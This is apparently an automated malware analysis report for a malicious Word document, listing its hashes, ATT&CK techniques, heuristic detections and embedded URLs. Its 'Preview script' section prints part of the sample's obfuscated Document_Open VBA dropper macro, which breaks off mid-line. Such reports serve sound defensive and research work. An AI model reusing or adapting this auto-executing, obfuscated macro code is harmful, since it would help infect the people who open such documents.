Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bbcafdb4fd7bf107…

MALICIOUS

Office (OLE)

1.14 MB Created: 2018-05-01 04:53:00 Authoring application: Microsoft Office Word First seen: 2019-01-20
MD5: f00fd318bf58586c29ab970132d1fd2a SHA-1: 6f5f226c071f97ac46c0b4f4d390fcce3f40b860 SHA-256: bbcafdb4fd7bf107d8b85934286d531536b7a0a30e5eeed07e27f0f7afcf8a77
264 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro that is designed to execute automatically. The script attempts to deobfuscate and construct a payload, likely for downloading and executing a second-stage malicious file. The presence of a Document_Open macro and the 'enable macros' lure are common techniques for initial access via spearphishing attachments.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-10015839-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015839-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.egm.gov.tr/SiteAssets/EGMFiles/Res/img/social_img/twitter.fw.png In document text (OLE body)
    • https://www.egm.gov.tr/SiteAssets/EGMFiles/Res/img/social_img/ins.pngIn document text (OLE body)
    • https://www.egm.gov.tr/SiteAssets/EGMFiles/Res/img/social_img/googleplus.fw.pngIn document text (OLE body)
    • https://www.egm.gov.tr/SiteAssets/EGMFiles/Res/img/social_img/youtube.fw.pngIn document text (OLE body)
    • https://www.egm.gov.tr/Sayfalar/RSS.aspxIn document text (OLE body)
    • https://www.egm.gov.tr/SiteAssets/EGMFiles/Res/img/social_img/RSS.fw.pngIn document text (OLE body)
    • https://twitter.com/EmniyetGMIn document text (OLE body)
    • https://www.instagram.com/emniyetgm/?ref=badgeIn document text (OLE body)
    • https://plus.google.com/+emniyetgenelm%C3%BCd%C3%BCrl%C3%BC%C4%9F%C3%BC/postsIn document text (OLE body)
    • https://goo.gl/8wJhk0In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/�In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 157094 bytes
SHA-256: f368ee1f0f2b1438e1ff10a529910106a3e0f52a4c7edd622be15870e38d6d4d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 170 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 1, 0, MSForms, CommandButton"
Attribute VB_Control = "TextBox1, 0, 1, MSForms, TextBox"

Option Explicit
Sub Document_Open()
On Error Resume Next


Dim YajA, RAJL, SfDY As String
YajA = UTjI(Vbwe)
RAJL = UTjI(oqrn)
SfDY = UTjI(UIlH)


Dim PjNp As String
PjNp = cJvL(VtLu(54, 101))
PjNp = dATr(PjNp, cJvL(VtLu(7, 100)))
PjNp = dATr(PjNp, cJvL(VtLu(202, 184)))
PjNp = dATr(PjNp, cJvL(VtLu(185, 208)))
PjNp = dATr(PjNp, cJvL(VtLu(9, 121)))
PjNp = dATr(PjNp, cJvL(VtLu(255, 139)))
PjNp = dATr(PjNp, cJvL(VtLu(185, 208)))
PjNp = dATr(PjNp, cJvL(VtLu(167, 201)))
PjNp = dATr(PjNp, cJvL(VtLu(247, 144)))
PjNp = dATr(PjNp, cJvL(VtLu(186, 148)))
PjNp = dATr(PjNp, cJvL(VtLu(125, 59)))
PjNp = dATr(PjNp, cJvL(VtLu(185, 208)))
PjNp = dATr(PjNp, cJvL(VtLu(72, 36)))
PjNp = dATr(PjNp, cJvL(VtLu(113, 20)))
PjNp = dATr(PjNp, cJvL(VtLu(54, 101)))
PjNp = dATr(PjNp, cJvL(VtLu(116, 13)))
PjNp = dATr(PjNp, cJvL(VtLu(230, 149)))
PjNp = dATr(PjNp, cJvL(VtLu(255, 139)))
PjNp = dATr(PjNp, cJvL(VtLu(113, 20)))
PjNp = dATr(PjNp, cJvL(VtLu(235, 134)))
PjNp = dATr(PjNp, cJvL(VtLu(201, 134)))
PjNp = dATr(PjNp, cJvL(VtLu(65, 35)))
PjNp = dATr(PjNp, cJvL(VtLu(213, 191)))
PjNp = dATr(PjNp, cJvL(VtLu(113, 20)))
PjNp = dATr(PjNp, cJvL(VtLu(7, 100)))
PjNp = dATr(PjNp, cJvL(VtLu(255, 139)))

Dim jDHQ As String
jDHQ = YajA
Dim RqIm As String
RqIm = ""
RqIm = dATr(RqIm, cJvL(VtLu(228, 167)))
RqIm = dATr(RqIm, cJvL(VtLu(142, 180)))
RqIm = dATr(RqIm, "\")
RqIm = dATr(RqIm, cJvL(VtLu(112, 32)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(164, 203)))
RqIm = dATr(RqIm, cJvL(VtLu(247, 144)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(3, 98)))
RqIm = dATr(RqIm, cJvL(VtLu(235, 134)))
RqIm = dATr(RqIm, cJvL(VtLu(107, 47)))
RqIm = dATr(RqIm, cJvL(VtLu(3, 98)))
RqIm = dATr(RqIm, cJvL(VtLu(255, 139)))
RqIm = dATr(RqIm, cJvL(VtLu(3, 98)))
RqIm = dATr(RqIm, "\")
RqIm = dATr(RqIm, cJvL(VtLu(116, 35)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
RqIm = dATr(RqIm, cJvL(VtLu(167, 201)))
RqIm = dATr(RqIm, cJvL(VtLu(92, 56)))
RqIm = dATr(RqIm, cJvL(VtLu(164, 203)))
RqIm = dATr(RqIm, cJvL(VtLu(182, 193)))
RqIm = dATr(RqIm, cJvL(VtLu(230, 149)))
RqIm = dATr(RqIm, cJvL(VtLu(107, 47)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(216, 190)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(167, 201)))
RqIm = dATr(RqIm, cJvL(VtLu(92, 56)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(54, 101)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(202, 184)))
RqIm = dATr(RqIm, cJvL(VtLu(122, 12)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
RqIm = dATr(RqIm, cJvL(VtLu(7, 100)))
RqIm = dATr(RqIm, cJvL(VtLu(113, 20)))
RqIm = dATr(RqIm, cJvL(VtLu(186, 148)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))
RqIm = dATr(RqIm, cJvL(VtLu(167, 201)))
RqIm = dATr(RqIm, cJvL(VtLu(185, 208)))

Module1.bUkw RqIm, jDHQ, PjNp

Dim TvdG As String
TvdG = ""
TvdG = dATr(TvdG, cJvL(VtLu(228, 167)))
TvdG = dATr(TvdG, cJvL(VtLu(142, 180)))
TvdG = dATr(TvdG, "\")
TvdG = dATr(TvdG, cJvL(VtLu(112, 32)))
TvdG = dATr(TvdG, cJvL(VtLu(202, 184)))
TvdG = dATr(TvdG, cJvL(VtLu(164, 203)))
TvdG = dATr(TvdG, cJvL(VtLu(247, 144)))
TvdG = dATr(TvdG, cJvL(VtLu(202, 184)))
TvdG = dATr(TvdG, cJvL(VtLu(3, 98)))
TvdG = dATr(TvdG, cJvL(VtLu(235, 134)))
TvdG = dATr(TvdG, cJvL(VtLu(107, 47)))
TvdG = dATr(TvdG, cJvL(VtLu(3, 98)))
TvdG = dATr(TvdG, cJvL(VtLu(255, 139)))
TvdG = dATr(TvdG, cJvL(VtLu(3, 98)))
TvdG = dATr(TvdG, "\")
TvdG = dATr(TvdG, cJvL(VtLu(6, 67)))
TvdG = dATr(TvdG, cJvL(VtLu(122, 12)))
TvdG = dATr(TvdG, cJvL(VtLu(113, 20)))
TvdG = dATr(TvdG, cJvL(V
... (truncated)